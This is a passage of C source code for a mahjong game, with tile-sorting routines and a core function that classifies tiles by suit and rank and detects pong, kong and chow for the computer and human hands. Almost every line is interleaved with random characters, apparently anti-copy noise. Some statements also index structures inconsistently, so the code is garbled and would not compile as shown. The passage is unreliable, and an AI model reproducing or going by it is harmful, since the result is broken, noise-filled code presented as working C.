, s" e! P  I( a  |$ bu=computer.pp[n].number;+ V6 w1 ?. m% ]* t, v2 U+ |2 U- H
computer.pp[n].number=computer.pp[j+1].number;3 f4 V% k; c0 o
computer.pp[j+1].number=u;
0 Q. g  X* D- e}
/ ]. ]1 s, o2 m7 o}
0 k) y5 E0 r5 V/ t1 p) j}
% u, m+ j4 s- H0 |0 Nvoid melipai()
! W" \& x; d) f2 {{ int n,j,u;
# j- \1 O# `3 L, g: p6 Jint *lingshi;
& W3 u6 x" y7 Cfor(n=0;n&lt;me.m;n++)# |# c$ t  x. w0 u+ w9 }- c  K
for(j=n;j&lt;me.m;j++)- B. Z# {% L, U
{/ [" \8 @4 v* ^" }# d) c
if(me.pp[n].number&gt;me.pp[j+1].number)
/ x+ j, w$ w  W$ s0 }( M{  }, ^4 T" I# f$ a
lingshi=me.pp[n].k;
  g' N! ~. c# Z; G) s; y2 Ume.pp[n].k=me.pp[j+1].k;- G$ j( e3 H0 Q5 P1 h; ]( g9 I
me.pp[j+1].k=lingshi;: T4 f! F3 h3 X1 v& S  V4 u8 a% q: ~
u=me.pp[n].oneorfour;  c# [, p9 j' s7 _1 j9 K2 z0 }
me.pp[n].oneorfour=me.pp[j+1].oneorfour;- v8 l. _/ g& k! P7 }8 r- _
me.pp[j+1].oneorfour=u;
, S+ C4 s1 \6 K' y/ D: o- ?  Gu=me.pp[n].number;8 C5 j) L6 d' [' k
me.pp[n].number=me.pp[j+1].number;
8 Z* X1 b. V. W9 nme.pp[j+1].number=u;' O2 }, r$ D- f& |4 b
}: x; W% q3 y1 k: _
else4 ?4 t( {. z5 [1 c; r& S
if(me.pp[n].number==me.pp[j+1].number); L; E9 G0 n4 b# V3 B4 u' v
if(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)" m' A, A; w6 R8 a3 b! }: G
{
; Y, t4 @; g3 u" D- v; @lingshi=me.pp[n].k;' X; D& o. Y2 Z2 x
me.pp[n].k=me.pp[j+1].k;8 B, y7 J2 }1 \% u6 {* H5 v
me.pp[j+1].k=lingshi;
; \5 r6 @; H0 }" \u=me.pp[n].oneorfour;+ S  K; q' A5 d1 I
me.pp[n].oneorfour=me.pp[j+1].oneorfour;
- q; L  c8 |& K9 N/ }me.pp[j+1].oneorfour=u;3 I9 q) S8 w! V0 v7 f  d
u=me.pp[n].number;) [( X, K* I, @8 t5 v
me.pp[n].number=me.pp[j+1].number;; @) Y" T- _6 X; U. h) y
me.pp[j+1].number=u;
  B+ e. S+ q0 Q2 J. }6 |  H6 ~}; h1 N" U: O9 U
}
1 h3 |" A- y' y; ?  w}
( _8 X, C% Z; g# }. p$ q& [3 avoid rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
$ T) d; D4 u1 V1 }8 b! J{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;7 j8 V& N) [) g# W
if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)$ m/ A8 P6 Z+ Y" M* \
{6 R. O3 _* {0 i) ^
logo=1;
! c& F0 G! [5 O( n; K( tif(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)
& T  A2 Q  i/ q/ @! o9 }) |logoo=1;
7 p, j% _* j5 g3 Y$ u0 qelse if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4), y' U  |/ y6 |  L; l# u/ j
logoo=2;
0 k- s/ o! i* b$ t+ y: ]else if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
# B& Z) q- E' H8 o* b; M! [, Mlogoo=3;6 I- a# x2 i6 |/ Z
else if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)
: l$ `8 |( L) f; o( ~% d4 B, Alogoo=4;
5 O5 A5 R" s# Xelse if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)! q! [' ?8 |' Y/ d# Q$ F" L! K9 I3 J
logoo=5;. I' o% U8 t8 }
else if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)) s& m, h5 P, Z2 W
logoo=6;) U3 O3 V3 ^5 O
else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)% [5 s2 z1 \5 J1 K0 @
logoo=7;
" d# J0 G; v- Belse if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)( m' f! F6 A2 h/ v2 T
logoo=8;9 R& i2 ?$ Z4 K. h$ L
else if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)
& s9 I, a: B2 Z3 V$ x0 jlogoo=9;
2 [( E" g0 ]& z}4 F5 `* @: t- s) X5 |$ w
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36); q9 k' I& T( k8 t$ J4 U: V
{
9 v7 ~* w0 H; c3 A9 Q7 R$ Ulogo=2;
& _+ v, f* i/ V1 z! H4 O' i" ]if(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)& d8 I/ P% R5 }( W+ [
logoo=1;
+ M: L8 a; ~1 I6 `9 G3 k# u6 k6 z% ?else if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)% V2 F, Q* O' r% f8 j
logoo=2;# J/ S( [5 x! y' [' R' V2 u/ e2 `+ O
else if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)
8 [9 S% c/ p8 ^- ]+ N4 rlogoo=3;" U3 \" \  j; c& K. }" ^; P
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)( _* m; M- b& U0 S) F# c
logoo=4;
0 l6 d; s+ s4 b, Y0 \: C& N6 aelse if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)! U' v9 U7 ?& e/ W+ f1 {3 l- j
logoo=5;
+ p9 G5 S( m: t- M: {$ v# m' o. melse if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)
  }1 q. j, [2 K4 h% C, o+ Llogoo=6;$ L) _/ ]" q7 f1 L9 i
else if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)
3 z2 x9 ^+ ~2 H$ rlogoo=7;' s0 k% f& X* a' `7 V) G
else if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)
& a& T: |6 I2 w6 F! F9 M( }# L7 [& jlogoo=8;
% o" d* _: j9 t1 j" ]0 D' Nelse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)* {$ {1 b# i) F, m8 K2 y3 g
logoo=9;4 J3 z0 ~/ t5 x* x- F7 M+ ~
}2 h3 {3 g+ C2 m$ Q6 h7 M
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72); X& ?- b! ^5 T( x0 t) S
{" @7 i: i# [2 X4 I: ^4 s% }+ v
logo=3;
; c  m/ N- Q  N0 b4 @# ^# Cif(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)9 W: v; W* Q, V4 U( z8 N
logoo=1;
' _: O1 {" p4 velse if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)
2 }! R8 Z$ p( Q9 N, glogoo=2;
% Z. I( E6 y. Z' Z2 selse if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)1 H' y& n: |) A0 H5 o
logoo=3;
7 U1 L4 U! x, L$ c2 Z' ielse if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)
1 t& o: w( `6 g6 L- J' jlogoo=4;
/ k) {# z4 o1 P9 Delse if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)
3 x3 [3 e" U7 L$ w$ wlogoo=5;
( z3 F+ T$ L4 G- E8 P( Xelse if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)
) s4 a  W: h& r2 ^9 W+ Xlogoo=6;
% z, b% }- N4 _0 v3 Kelse if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)
% Z& q. O4 e$ q4 ^. H" [. Vlogoo=7;
8 d: u: G: y' }+ E- u3 t/ H3 p& x/ Felse if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)
5 S0 |! b4 d; j) Z  l" C& f+ vlogoo=8;
* v* Q3 a5 s0 O( `9 melse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)
. U- u* P, b9 i5 d6 M# ?& ^% ]logoo=9;, T8 _0 M# K) ~# v
}  B# h  R% Y4 C" N, H/ F) a
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)# N& h+ k2 r' Z- U
{
  ^) R4 z- G: @" ologo=4;
  X) j- N9 x5 K" J6 m  b: L7 sif(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)
1 c) e: e2 e- d( Ylogoo=1;1 g; }  T& ^0 Y# |- o  _) \- k
else if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)
. }, l6 ?- e$ flogoo=2;
4 ~' W. R/ A5 z5 s; y; H  D+ N! selse if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)
( Y) G& V3 G* o3 I/ klogoo=3;
% M$ B( m/ ~. [' B4 K( @* u2 z! V* melse if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)! M: q8 v# x, D1 ]+ c9 b& v
logoo=4;2 M! p; ~& B& V: }" Z5 U( Y6 r1 x1 K
else if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)
8 W6 X. o0 T% d; c5 K! a3 i, Zlogoo=5;6 \1 _# ^5 j0 Q3 O$ ^! E& e; y; G! X! e
else if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)) c2 n$ s+ J) R  V, L5 Z
logoo=6;, @+ b+ d/ N: K, K4 f
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)" d1 T1 \" n. U: Q: \  [" _
logoo=7;, L! y* V% j, I) j" P
}- k4 [$ u3 P7 @: `# c1 l2 }+ k
while(b&lt;=computer.m)
" \2 h1 Q8 k8 r7 L{' k, F2 U+ m, a! a: j& y
if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/8 I! v% u- Q3 v0 X; a
{
; I. p! D7 B( Q! C: alg=1;
) `4 A( Z, W. r5 c4 e+ acomputer.pp.d[0]=1;
5 K# d$ ]0 Y, R6 N9 w2 Pif(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)0 ^# W0 C9 j1 P& F  ]  Y- T
{
* m8 W+ }5 {) H8 b6 ~lgg=1;7 @+ E2 ~. A/ l( r
computer.pp.d[1]=1;
% A: v' m7 y: ]}
% y1 F, N6 q" M0 Q! @else if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)
& D9 F9 M. P3 q' ?2 Z8 U7 N6 Q{
9 }4 \4 ?" h6 I% R' zlgg=2;
2 h4 U$ l" X( c# jcomputer.pp.d[1]=2;$ a- r9 L! ^  P1 y
}
  |& `$ Z2 _0 ]) w' V7 G* W9 H7 kelse if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)
8 U' g3 O) v4 l8 }/ t( L{
! ]! p) V+ i3 Ylgg=3;3 c, ^; u9 y, |, Z3 x  K
computer.pp.d[1]=3;
5 O  R. M3 r' F8 Z}
! i4 W# g' m& e& C4 _4 X+ Pelse if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)
9 h" r* {1 y: _# Z! f4 S: u{
6 k$ D0 Y: c/ D" \# A: G5 Xlgg=4;; D* b3 P( ]6 ?, ]- ~, T
computer.pp.d[1]=4;
4 X# F/ K( T+ V4 S/ R: ]' G7 P}# r( T% }" P* x& W- y, P
else if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16); R: ^6 J6 S/ @* C
{" x& M. A0 }. _( f, Z0 V
lgg=5;
( `) |* b: V/ N% ^/ Mcomputer.pp.d[1]=5;
* Z; d$ |. \* I7 z5 ?  f& z( o/ x( D}6 |$ w7 x$ d: p+ Z. c
else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)6 A& S* z: c5 E" i7 q* B/ M
{
& P  w; [+ S* M+ \( ^! Dlgg=6;& H! @. c9 R0 y9 j9 s
computer.pp.d[1]=6;) p6 N6 ?* z% m; ~- n" F
}
# q) a6 g' v/ velse if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)3 h6 U+ @0 G: j5 G' t
{0 a1 ^8 p1 W* l/ f' H! Z
lgg=7;
. {. `, r4 S* o! D8 Kcomputer.pp.d[1]=7;& E8 I& _% B% b
}
0 `4 V& E1 h5 N% z5 A4 d1 Qelse if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)0 [1 U6 u" k; K1 \* L* }
{
) A  l) t( m; {% @/ Rlgg=8;
3 F  k: E0 x$ s! A; d5 w3 p# Lcomputer.pp.d[1]=8;
8 m3 j6 @; D# I}7 t0 U& t2 L$ h; o( a" a+ r
else if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)
5 Z2 q8 c+ E0 q& [{$ P$ Y' D( ^2 W& @, ^7 k) p
lgg=9;
0 n9 y* K$ Z" q) h1 j$ {& t3 ]computer.pp.d[1]=9;; X8 t9 q! e7 ], Y0 S  t
}* }' t7 q8 a4 A
}: _: U8 R' K- d! P; {
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)
- A  W, ^8 F- q, _3 L# X* q: l{
) c0 G. e! \& b! Wlg=2;* z# F, U5 p1 B4 V  X$ ]% d8 K
computer.pp.d[0]=2;
( q: [" B, H: Cif(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)9 ]1 r7 Z9 A% O5 h+ ]6 K! T
{% t  j9 i" }! r+ O, w$ W6 y/ e" }
lgg=1;
, ]5 A3 Q* ?2 [1 {2 ecomputer.pp.d[1]=1;
- z0 O1 O. o) R! s) S1 [; R" V}- y. ?* d# Q! k% ^+ Z8 a( c1 W
else if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)  i9 p# U1 L  O
{
. U7 z0 @8 a" q6 Llgg=2;
5 g! W6 j1 o+ W, Scomputer.pp.d[1]=2;$ @& u( u- D2 v' Z& p
}
( o6 {, b' e! C% z0 jelse if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)
  w" m) Y3 X3 p7 y) D: ^+ q{1 S+ L3 V  |# _8 f& R
lgg=3;
2 Z) i( |6 q; g) G+ Scomputer.pp.d[1]=3;
) x* f8 N; W4 D  f9 S}0 V9 y& g. T- r& K  ^( x
else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)
& l. N# T. Z: [7 y& K; i; N# R- d{
0 m% k! Q* a  ?+ @lgg=4;9 H9 K4 \* ~/ _" c" t% k/ ^
computer.pp.d[1]=4;7 d0 O2 t: w. G
}
$ K8 W8 J9 G" H$ h& velse if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)
: F: L7 l' \: |" }! q{8 T/ s. W4 J) N9 Q) G, C8 \* z
lgg=5;" M7 {9 j- ~9 T( k: n6 M( ^
computer.pp.d[1]=5;
0 Q8 l" h" U2 g% K4 D}# }3 W) I7 c  R4 \3 |9 J
else if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)
# S2 K4 P! m0 V/ W5 N# F{% L: ]$ _& |" A
lgg=6;
8 x) V: D4 a' u2 J6 icomputer.pp.d[1]=6;+ B0 T; f, g9 f. h
}8 }+ k6 _& t" ~0 ?3 Y7 h/ Y9 w0 C
else if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)) I( t9 g7 g- W
{6 G; C, {  z0 h3 j* w9 A* ]2 I
lgg=7;
: n- a- c9 V4 N* R6 ycomputer.pp.d[1]=7;
1 f8 `7 u1 W2 a6 [}$ [9 T8 M, V) E8 z0 _4 t& V
else if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
* q  b+ \( D& m' {4 U6 Q" h1 ?0 u{+ S# X6 w: c  [) W6 s# r" D
lgg=8;9 \3 E8 g: O1 L) }7 H6 m! A; f6 T
computer.pp.d[1]=8;
1 l3 D0 E& Q1 M* j}$ U- U4 U% O# F% `  y
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)
6 k3 F3 M* p: Z2 s8 r$ q" G8 q. X{
1 @2 x' N0 Z" nlgg=9;
# `, p0 g2 T: N% b) Xcomputer.pp.d[1]=9;
/ _: D3 T$ B& A; W}& R$ w0 c# o  C; \. k
}
9 s) t; A/ x$ o: v9 Telse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)  R! R; N0 p4 N, _) F% s
{
& g/ R% n2 g1 R+ L! `2 Glg=3;0 V3 D6 r' J4 @! ]2 l; Q3 ~2 N  q
computer.pp.d[0]=3;; ^; S% {; r3 L2 i% ?5 J
if(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)
. R4 B" b* M, ]! X# G' ?{
8 M7 h( c' }4 n% \) W2 L* Wlgg=1;
3 T  A# U% T, i# |2 p6 J, n4 {computer.pp.d[1]=1;
3 t( `9 C  ^+ f: T3 k! }- h}
' z% |( N# S7 ]/ Y" P' lelse if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)
2 \) t6 n/ R9 F2 B  W4 Y{! ?+ ]- f) t1 y( w; `, [
lgg=2;% r5 ^, u& |! o' A9 y
computer.pp.d[1]=2;
9 k9 e7 A% ~' l/ W+ k}
: S  R: v* n+ @/ E' kelse if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)
/ j9 B0 U2 Y7 i9 E! I- U0 Z{
, H* \% U3 K# t& y* flgg=3;, c  `, X, g. K% O% X8 F$ _9 `
computer.pp.d[1]=3;! J9 N0 X/ ?" Z4 R
}% g7 k3 m7 y6 l8 v  \/ S: E) G
else if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)
9 o* d' V1 B* D! a( @{
4 l- \- w0 B1 m: D# Y4 n- m3 S7 Llgg=4;
& D/ Z& A8 w8 ~2 Bcomputer.pp.d[1]=4;; {; T2 d" @* y* A8 ]' Y6 c
}. w$ M5 H( J0 m* e0 N# `1 o
else if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)
- q* y- N' X2 I2 b{& j% }6 J1 J- u9 [/ W
lgg=5;
4 H, t% ~" E! Dcomputer.pp.d[1]=5;
9 J* j' }" G7 x# u' o+ l  Y1 Z. V9 A}
/ I. X3 l/ U5 b" N/ Jelse if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)3 ^2 ^* }' O' j- E& \" ?
{* j* s/ W/ N+ l3 O7 ~  G0 p
lgg=6;
3 Y# h& z. [. b$ s7 v. J) y) Z* T5 scomputer.pp.d[1]=6;' t( p* r5 O9 [3 p$ W& ]$ b; |, s
}2 S* _0 W3 }4 v8 U
else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)( z% j' C+ P. E1 n# w( z" z' E8 \. N
{; C" W. I1 @; d3 Q; Z# p$ n
lgg=7;/ _3 ]% i, S; e$ s9 _
computer.pp.d[1]=7;" b4 y  H' P/ N& M
}2 j( Y$ Z' @* ~7 Q0 Z( w5 j! t7 x6 D
else if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)
4 g4 V5 }% l) c$ E{1 m; p0 R! B+ b3 C- |0 a
lgg=8;, D& F+ s* @, N* l, q: f  w' z
computer.pp.d[1]=8;* T, q/ X  r% ^
}
' t+ j1 R# L6 o1 r$ ?7 [- \else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
6 c7 S, i- |/ j5 ~( P$ R! x{) M9 y2 E2 E8 @" y
lgg=9;
  x" a. V. M, O* N7 E# c. [computer.pp.d[1]=9;
2 |% @. ]7 g  ~}
. P5 }6 b6 ]0 u. u}& l( P2 c; _/ N" S6 f1 T
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108); m4 D2 B+ f8 c- v# l/ [6 V- U( ]2 M
{
6 F( T( n9 H! h5 R; S, N9 [1 ]lg=4;  s* N* y- S: h) _' c; o
computer.pp.d[0]=4;4 E. i% W; a, L; ?; N
if(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)
  Q9 X& d0 ?4 ]2 |9 G* W{. }8 _1 ~  |/ M/ w  x( E
lgg=1;
$ M8 ~) ^& c. c' K  Ycomputer.pp.d[1]=1;9 C  H9 y' n( R2 l3 u* b
}
- n# w9 f3 P/ |3 U% ]6 t* K$ Y1 Jelse if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)
& J+ B& O* v* @) k% f. h, z( Y1 ~( M{
- C8 |) _  I2 {lgg=2;: ~6 ^3 Z$ n6 P# R2 c8 T/ `
computer.pp.d[1]=2;) U3 D* \7 }) b4 s
}
! R/ ^: }, s- Q, B* D, Yelse if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116), x, m/ ~! a+ l" Y5 Q/ N
{
- u8 K& H1 H1 {& ^9 @( T/ C7 a- ~lgg=3;
  V! R! N  B1 ?7 F# N/ y7 \. O: fcomputer.pp.d[1]=3;' F0 ^" W/ O9 v' c5 D* S
}
! ?! R/ a0 f( K" ]! nelse if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)
' G1 {5 l0 u4 m" H" F, f# a{
& J" e( a% r* ~lgg=4;
) @  u, n' Z; p3 [9 C0 _computer.pp.d[1]=4;. L* d; k; q) l7 r9 L1 ?' b/ X8 G
}' P# d- B, T/ B$ j3 z
else if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)* V2 t; c8 {4 x) H1 r3 _+ O
{
- F3 a' {- g/ L- M$ U$ E) B  m! Tlgg=5;9 i% Y- A+ e. S% Q' m" q$ S3 |
computer.pp.d[1]=5;. w/ A. x; F" w, S" Z
}5 z" w( Q  h! A
else if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)
4 z3 H* D3 A' q8 j* G{
! o" P9 @7 U; i2 O- v  Slgg=6;
- N% \$ e$ O5 jcomputer.pp.d[1]=6;
; J* S" h- X; O}
2 h2 U' |: d3 ?, i3 }' L6 _2 G' Aelse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)
: c( h! l* B* M, _3 G& X  F{
6 v0 v# g1 |+ z/ |$ e# w1 S/ Wlgg=7;! W$ F' I& j# B
computer.pp.d[1]=7;; T0 d/ C' W6 R% O2 J3 b, D
}% u  d: R' Y' O& s$ n
}. V7 ]& H* n) r. q

- |( w0 |+ G9 m" t1 Y: n5 tif(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/$ @. l, ]% D9 m7 g
if(logoo==lgg)( J. A; I; K8 C; e6 U+ s- {# c7 _
pg++;
! ]# W0 }* m8 k3 ]! X! ?- ?ch.lg=lg; /*保存电脑手里的每张牌的信息*/7 j% Q% H, e+ v( L8 M
ch.lgg=lgg;
) R4 z  h) U( c: g+ ~lg=0;
% f& l" ?6 i5 Y6 E' H# dlgg=0;
6 s6 Q: G5 x& p, c* S9 v0 ~. ub++;
. H! P# u9 M( [# `$ H1 d}6 W+ |7 R5 T0 A+ l& s# \* P
if(pg==2) /*乓*/
, {- T2 U" m4 i# J{
2 R2 u+ L3 v9 o- \$ ]
" A$ n0 F6 e  I2 ?! Tsing=1;9 f, U7 P, a- N( p
b=computer.m;
/ D0 s0 S) G8 ^# Q8 C- B3 bwhile(b!=-1)
  F$ A& k& I; i1 C5 x/ G$ Q$ W{
7 \4 V* a/ [3 e- Yif(strcmp(me.pp[c].k,computer.pp.k)==0)6 M! a$ a% K# ?; F5 \
computer.pp.p=1;
! ?8 ^) _/ r$ U6 K/ t8 N& {; _9 h2 b# l) H
b--;+ ]1 f9 k5 T- N3 Z# R7 X4 ~  s( m
}- U% L3 _! u8 K7 t9 [5 _# B# f
}9 D* A! @$ d. ^2 k+ D
if(pg==3) /*杠*/
( n7 m; r9 k; x* }6 }8 I5 ^, o{2 ?6 f2 e2 h0 B8 w3 C2 E* r
) {  j- S/ S8 [+ Z, f$ F
sing=2;. U; M2 j, e* N  }1 T
b=computer.m;
+ x4 K5 Z, [6 C* o1 }: zwhile(b!=-1)& U4 I: H" k/ J
{
0 @* h5 \, p1 Q; |- r- p' Sif(strcmp(me.pp[c].k,computer.pp.k)==0)
1 ^# Q7 M8 x; t+ C9 x' F  n8 {computer.pp.g=1;$ J! m2 K% `6 Z" u
b--;
/ f* j$ q# i0 B. W8 z}$ @& N3 Z) G( ^6 J! p  E. ^
}
+ q' S# n, n# pf=0;
6 A7 o' \+ ~8 {4 Q- m& |while(f&lt;computer.m) /*吃的判断*/
. R4 ]! U0 N5 d{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)) ~9 m' y. Q( d9 m" C1 K" V
{
4 B! f6 L% q& {3 b( A% M3 A% {7 Nif(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/
6 U+ ]. ~) s' d# m8 Rif(ch[f].lgg-logoo==1), {: G& s6 b3 f: W% d# @
{/ k/ e! a9 q0 R% J: V
gp++;
0 R+ U1 l/ \( `9 xcomputer.pp[f].c=1;
* n9 H& ]6 s" _$ w$ r  O; Zcomputer.pp[f+1].c=1;
1 y" m& j$ K3 l! i) W9 @- V}  ]3 q, M( B/ p! M+ `# O* r
if(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/$ y! l$ G7 y" l, n
if(ch[f+1].lgg-logoo==-1)( j5 O8 v4 T  ?5 b8 u
{
* R( o2 O! i# |- I  w" l# {gp++;
' V" }8 d" O4 k3 u7 `+ icomputer.pp[f].c=1;4 }3 W! |7 O: W4 H# w- T1 ^. w* K
computer.pp[f+1].c=1;; E- a  S: u, K
}
6 A2 o& p  o' `; Vif(ch[f].lgg-logoo==-1) /*中吃*/9 [# U$ l9 s, _" q1 V" E
if(ch[f+1].lgg-logoo==1)* A+ L8 D6 N+ q6 t+ r4 X
{) `$ D' `, G9 g) B. q
gp++;
8 @9 j, X% U8 K3 U0 r* v" acomputer.pp[f].c=1;
8 {/ G3 r/ c( {3 B8 gcomputer.pp[f+1].c=1;. A, i! z$ ^, z+ Y7 L- d
}' e4 Q1 U/ _# U1 i- k# w: M
if(gp==1)0 E( c0 O4 @( M# R# Q7 @
break;, a9 E# u  j& y, I6 X) M- g
}; S- a- T4 E; y  f: R
f++;
5 F7 S, k( k3 @}, `0 ?& B* Z. y: B* j2 @* }
if(gp==1)( C. P& z5 M/ l' j& [! {+ i  ~* [
{sing=7;7 A* V, l$ u% a
! b6 S2 ^3 F$ Y' m7 O
}
+ H/ ~  I& |5 w% Y, h4 Ypg=0;3 @" H# o* V! f! `; H
gp=0;) A0 I+ V9 `$ W5 }: \  J. a
b=0;
0 H( O" b! e& s: ]) N}; s- _5 j1 G: Z8 v' V
void rgznme(int c) /*本程序涵数的核心针对我的牌*/$ V, s, ~9 P  H$ x2 V6 D$ Q) o
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;- g. Q/ P7 @: q, N3 i4 b
if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)
- }7 O- ?7 C* z2 u* `' u# v{0 f7 H7 I, ?& u) `3 R1 B! j9 M! f
logo=1;
$ k+ R; [( x4 {7 \0 \if(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)- V, h5 U! u) O
logoo=1;
+ i5 t& z, [  z3 O$ o+ l1 aelse if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)! J: A3 L$ M2 s& G$ F; L) I$ @- h3 Q
logoo=2;
* |4 W8 j$ j- O% J' G+ K: |$ aelse if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)3 H  O4 Y6 U: }' b
logoo=3;; @/ f. P  d; E% Z4 W) n$ u& T
else if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
4 [: `- W3 M4 |  n' e* a' Ulogoo=4;
; }3 b$ W# e. r3 selse if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)
4 c" \: p: X2 llogoo=5;3 ?2 |8 W5 Z9 M% ]4 ]# }" `
else if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)
. c( Q! d. Z7 W8 c6 K9 N7 rlogoo=6;. ?+ d. K! n) X
else if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)
, l3 I2 \& E# b( k& |logoo=7;& [% f8 x6 W4 c0 e. K+ p
else if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)
8 h9 g" {4 i1 y% X& q% i$ mlogoo=8;6 c) K! b- }: ?# z, p! [* |
else if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)
3 W; b% a" E3 f* T8 ilogoo=9;
3 p) P: v  _  [2 X! y3 m}
- P4 G4 @& A% ?  Relse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)
5 c1 K& y* m$ Y% q' {{
6 ]1 P% M. A: X2 zlogo=2;6 P, F& u. C1 e, L7 T9 O
if(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)
